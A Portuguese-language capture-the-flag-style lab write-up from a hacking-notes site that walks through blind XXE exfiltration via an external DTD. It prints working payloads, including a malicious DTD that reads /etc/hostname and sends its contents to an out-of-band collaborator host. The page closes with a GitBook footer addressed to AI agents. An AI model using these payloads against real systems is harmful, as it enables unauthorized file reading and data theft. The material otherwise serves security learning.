> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/xxe/blind-xxe-exfiltration-via-external-dtd.md).

# Exfiltração Cega de XXE via DTD Externa

### Explorando XXE cego para exfiltrar dados usando um DTD externo malicioso

Laboratório: recurso **"Verificar estoque"** que analisa XML, mas **não mostra** conteúdo injetado (XXE azul / OOB). / Comportamento observado: o analisador aceita uma declaração DOCTYPE vinculando um DTD externo e faz requisições a ele.

Extrair silenciosamente dados do servidor local (por exemplo, `/etc/hostname`) forçando o analisador XML a carregar um DTD externo malicioso que, por sua vez, lê o arquivo e dispara uma solicitação HTTP(S) para nosso servidor de controle (colaborador / servidor de exploit) contendo o conteúdo lido.

#### Exemplo de payload enviado ao servidor (chamada inicial que inclui DTD externo)

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % myFile SYSTEM "https://2777wjy7kmh9uyirsd64t7zomfs6gw4l.oastify.com"> %myFile;]>
<stockCheck>
<productId>
2
</productId>
<storeId>
1
</storeId>
</stockCheck>
```

{% endcode %}

> Observação: aqui o DTD externo está hospedado em nosso servidor (servidor de exploit). O analisador precisa recuperá-lo para que o ataque funcione.

<figure><img src="/files/e2f8d58fd3fa0ce100d16e00268427bfca285831" alt=""><figcaption></figcaption></figure>

#### Conteúdo malicioso colocado em nosso servidor (DTD externo)

O DTD fornecido pelo servidor de exploit contém entidades que leem um arquivo local e constroem uma entidade avaliada que disparará uma solicitação ao colaborador com o conteúdo exfiltrado:

{% code overflow="wrap" %}

```xml
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'https://pibu769uv9sw5lte30hr4uabx23urkf9.oastify.com?content=%file;'>">
%eval;
%exfil;
```

{% endcode %}

Explicação sucinta:

* `%file`: lê o `file:///etc/hostname` arquivo local.
* `%eval`: constrói dinamicamente uma nova `exfil` entidade cujo valor é uma URL que aponta para nosso servidor de desexfiltração e inclui `%file` conteúdo como `conteúdo` parâmetro.
* `%eval;` e `%exfil;` faz a expansão e uma consulta HTTP de saída contendo dados.

#### Exemplo completo (chamada final do atacante para a aplicação vulnerável)

{% code overflow="wrap" %}

```xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % myFile SYSTEM "https://exploit-0a230088031451be8148386401b600f9.exploit-server.net/exploit"> %myFile;]>

<stockCheck>
<productId>
1
</productId>
<storeId>
1
</storeId>
</stockCheck>
```

{% endcode %}

* O DTD a `https://.../exploit` contém as definições de DTD maliciosas acima.
* Quando o analisador se recupera e avalia este DTD, ele acaba realizando uma consulta HTTP para nosso servidor de desexfiltração com `/etc/hostname` conteúdo.

<figure><img src="/files/cce264ccf9c16850b4ef1ec57ae87ae7987e21eb" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/xxe/blind-xxe-exfiltration-via-external-dtd.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
